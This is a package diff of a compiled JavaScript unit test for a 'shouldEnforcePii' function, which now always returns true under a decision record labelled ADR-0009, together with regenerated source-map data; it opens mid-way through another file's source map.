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"}
@@ -1,10 +1,12 @@
1
1
  /**
2
- * shouldEnforcePii 函数单元测试
2
+ * shouldEnforcePii 函数 stub 行为测试 (P0-1 / ADR-0009 之后)。
3
3
  *
4
- * 测试 PII 检查启用逻辑的配置优先级:
5
- * 1. LSP 配置注入(globalThis.lspConfig.enforcePiiChecks)
6
- * 2. 环境变量(ENFORCE_PII 或 ASTER_ENFORCE_PII)
7
- * 3. 默认值 false(opt-in 策略)
4
+ * ADR-0009 起,PII flow 分析**永远启用**——不再依赖 LSP 配置、环境变量
5
+ * 或任何配置开关。shouldEnforcePii() 退化为 backwards-compat stub,
6
+ * 总是返回 true。
7
+ *
8
+ * 本测试只验证 stub 在所有可能的环境状态下都返回 true,确保不会有
9
+ * 意外的"配置作用"。下一个 major release 中此函数将被移除。
8
10
  */
9
11
  import { describe, it, before, after, beforeEach, afterEach } from 'node:test';
10
12
  import assert from 'node:assert/strict';
@@ -41,7 +43,7 @@ function clearAllConfig() {
41
43
  delete process.env.ASTER_ENFORCE_PII;
42
44
  globalThis.lspConfig = undefined;
43
45
  }
44
- describe('shouldEnforcePii 配置优先级', () => {
46
+ describe('shouldEnforcePii (deprecated stub, ADR-0009)', () => {
45
47
  let originalEnv;
46
48
  before(() => {
47
49
  originalEnv = saveEnv();
@@ -55,113 +57,26 @@ describe('shouldEnforcePii 配置优先级', () => {
55
57
  afterEach(() => {
56
58
  clearAllConfig();
57
59
  });
58
- // 优先级 1: LSP 配置注入
59
- describe('优先级 1: LSP 配置注入 (globalThis.lspConfig)', () => {
60
- it('globalThis.lspConfig.enforcePiiChecks = true 应启用 PII 检查', () => {
61
- globalThis.lspConfig = { enforcePiiChecks: true };
62
- assert.equal(shouldEnforcePii(), true);
63
- });
64
- it('globalThis.lspConfig.enforcePiiChecks = false 应禁用 PII 检查', () => {
65
- globalThis.lspConfig = { enforcePiiChecks: false };
66
- assert.equal(shouldEnforcePii(), false);
67
- });
68
- it('LSP 配置应优先于环境变量 ENFORCE_PII', () => {
69
- process.env.ENFORCE_PII = 'true';
70
- globalThis.lspConfig = { enforcePiiChecks: false };
71
- assert.equal(shouldEnforcePii(), false, 'LSP 配置 false 应覆盖环境变量 true');
72
- globalThis.lspConfig = { enforcePiiChecks: true };
73
- process.env.ENFORCE_PII = 'false';
74
- assert.equal(shouldEnforcePii(), true, 'LSP 配置 true 应覆盖环境变量 false');
75
- });
76
- it('LSP 配置应优先于环境变量 ASTER_ENFORCE_PII', () => {
77
- process.env.ASTER_ENFORCE_PII = 'true';
78
- globalThis.lspConfig = { enforcePiiChecks: false };
79
- assert.equal(shouldEnforcePii(), false, 'LSP 配置 false 应覆盖 ASTER_ENFORCE_PII true');
80
- });
81
- it('LSP 配置未定义 enforcePiiChecks 时应回退到环境变量', () => {
82
- globalThis.lspConfig = {}; // enforcePiiChecks 未定义
83
- process.env.ENFORCE_PII = 'true';
84
- assert.equal(shouldEnforcePii(), true, '应回退到环境变量');
85
- });
60
+ it('无任何配置时返回 true(不再默认禁用)', () => {
61
+ assert.equal(shouldEnforcePii(), true);
62
+ });
63
+ it('忽略 globalThis.lspConfig.enforcePiiChecks = false', () => {
64
+ globalThis.lspConfig = { enforcePiiChecks: false };
65
+ assert.equal(shouldEnforcePii(), true, 'PII 现在永远启用,LSP 配置已被忽略');
86
66
  });
87
- // 优先级 2: 环境变量
88
- describe('优先级 2: 环境变量', () => {
89
- it('ENFORCE_PII=true 应启用 PII 检查', () => {
90
- process.env.ENFORCE_PII = 'true';
91
- assert.equal(shouldEnforcePii(), true);
92
- });
93
- it('ASTER_ENFORCE_PII=true 应启用 PII 检查', () => {
94
- process.env.ASTER_ENFORCE_PII = 'true';
95
- assert.equal(shouldEnforcePii(), true);
96
- });
97
- it('ENFORCE_PII 优先于 ASTER_ENFORCE_PII(|| 短路逻辑)', () => {
98
- process.env.ENFORCE_PII = 'true';
99
- process.env.ASTER_ENFORCE_PII = 'false';
100
- assert.equal(shouldEnforcePii(), true, 'ENFORCE_PII=true 应优先');
101
- clearAllConfig();
102
- process.env.ENFORCE_PII = 'false';
103
- process.env.ASTER_ENFORCE_PII = 'true';
104
- // ENFORCE_PII='false' 是 truthy 字符串,所以不会回退到 ASTER_ENFORCE_PII
105
- // 但 toLowerCase() === 'true' 检查会失败
106
- assert.equal(shouldEnforcePii(), false, 'ENFORCE_PII=false 优先,且不等于 true');
107
- });
108
- it('大小写不敏感匹配 TRUE/True/TRUE', () => {
109
- process.env.ENFORCE_PII = 'TRUE';
110
- assert.equal(shouldEnforcePii(), true, 'TRUE 应匹配');
111
- clearAllConfig();
112
- process.env.ENFORCE_PII = 'True';
113
- assert.equal(shouldEnforcePii(), true, 'True 应匹配');
114
- clearAllConfig();
115
- process.env.ASTER_ENFORCE_PII = 'TRUE';
116
- assert.equal(shouldEnforcePii(), true, 'ASTER_ENFORCE_PII=TRUE 应匹配');
117
- });
118
- it('非 true 值应禁用 PII 检查', () => {
119
- process.env.ENFORCE_PII = 'false';
120
- assert.equal(shouldEnforcePii(), false, 'false 应禁用');
121
- clearAllConfig();
122
- process.env.ENFORCE_PII = '1';
123
- assert.equal(shouldEnforcePii(), false, '1 应禁用(不等于 true)');
124
- clearAllConfig();
125
- process.env.ENFORCE_PII = 'yes';
126
- assert.equal(shouldEnforcePii(), false, 'yes 应禁用(不等于 true)');
127
- clearAllConfig();
128
- process.env.ENFORCE_PII = '';
129
- assert.equal(shouldEnforcePii(), false, '空字符串应禁用');
130
- });
67
+ it('忽略 ENFORCE_PII=false', () => {
68
+ process.env.ENFORCE_PII = 'false';
69
+ assert.equal(shouldEnforcePii(), true);
131
70
  });
132
- // 优先级 3: 默认值
133
- describe('优先级 3: 默认禁用', () => {
134
- it('无任何配置时应默认禁用 PII 检查', () => {
135
- // clearAllConfig() 已在 beforeEach 中执行
136
- assert.equal(shouldEnforcePii(), false);
137
- });
138
- it('globalThis.lspConfig 为 undefined 且无环境变量时应禁用', () => {
139
- assert.equal(globalThis.lspConfig, undefined);
140
- assert.equal(process.env.ENFORCE_PII, undefined);
141
- assert.equal(process.env.ASTER_ENFORCE_PII, undefined);
142
- assert.equal(shouldEnforcePii(), false);
143
- });
71
+ it('忽略 ASTER_ENFORCE_PII=false', () => {
72
+ process.env.ASTER_ENFORCE_PII = 'false';
73
+ assert.equal(shouldEnforcePii(), true);
144
74
  });
145
- // 边界情况
146
- describe('边界情况', () => {
147
- it('globalThis.lspConfig 存在但 enforcePiiChecks 为 undefined', () => {
148
- globalThis.lspConfig = { someOtherConfig: 'value' };
149
- assert.equal(shouldEnforcePii(), false, '应回退到默认值');
150
- });
151
- it('环境变量为空字符串时应禁用', () => {
152
- process.env.ENFORCE_PII = '';
153
- process.env.ASTER_ENFORCE_PII = '';
154
- assert.equal(shouldEnforcePii(), false);
155
- });
156
- it('环境变量为空格时应禁用', () => {
157
- process.env.ENFORCE_PII = ' ';
158
- assert.equal(shouldEnforcePii(), false, '空格不等于 true');
159
- });
160
- it('环境变量为 true 加空格时应禁用', () => {
161
- process.env.ENFORCE_PII = ' true ';
162
- // toLowerCase() === 'true' 检查会失败,因为有空格
163
- assert.equal(shouldEnforcePii(), false, '" true " 不等于 "true"');
164
- });
75
+ it('即使所有禁用配置同时设置也返回 true', () => {
76
+ globalThis.lspConfig = { enforcePiiChecks: false };
77
+ process.env.ENFORCE_PII = 'false';
78
+ process.env.ASTER_ENFORCE_PII = 'false';
79
+ assert.equal(shouldEnforcePii(), true);
165
80
  });
166
81
  });
167
82
  //# sourceMappingURL=should-enforce-pii.test.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"should-enforce-pii.test.js","sourceRoot":"","sources":["../../../../test/unit/typecheck/should-enforce-pii.test.ts"],"names":[],"mappings":"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"}
1
